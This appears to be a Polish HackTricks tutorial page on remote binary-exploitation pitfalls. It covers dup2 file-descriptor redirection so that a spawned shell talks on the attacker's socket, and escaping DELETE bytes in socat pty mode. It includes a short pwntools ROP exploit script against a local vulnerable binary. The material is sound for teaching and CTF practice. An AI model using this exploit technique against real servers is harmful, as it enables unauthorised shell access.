3 KiB
Powszechne Problemy Wykorzystywania
Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
FDs w Eksploatacji Zdalnej
Podczas wysyłania exploitu do zdalnego serwera, który wywołuje system('/bin/sh')
na przykład, ta operacja zostanie wykonana w procesie serwera, a /bin/sh
będzie oczekiwać danych wejściowych z stdin (FD: 0
) oraz będzie drukować wyniki w stdout i stderr (FDs 1
i 2
). W związku z tym atakujący nie będzie mógł interaktywnie korzystać z powłoki.
Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył numer FD 3
(do nasłuchiwania), a następnie Twoje połączenie będzie w numerze FD 4
. Dlatego możliwe jest użycie wywołania systemowego dup2
do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, który jest połączony z atakującym), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Należy zauważyć, że socat już przesyła stdin
i stdout
do gniazda. Jednak tryb pty
obejmuje znaki DELETE. Dlatego jeśli wyślesz \x7f
(DELETE
-) to usunie poprzedni znak twojego exploitu.
Aby ominąć to, znak ucieczki \x16
musi być poprzedzony przez każde \x7f
wysłane.
Tutaj możesz znaleźć przykład tego zachowania.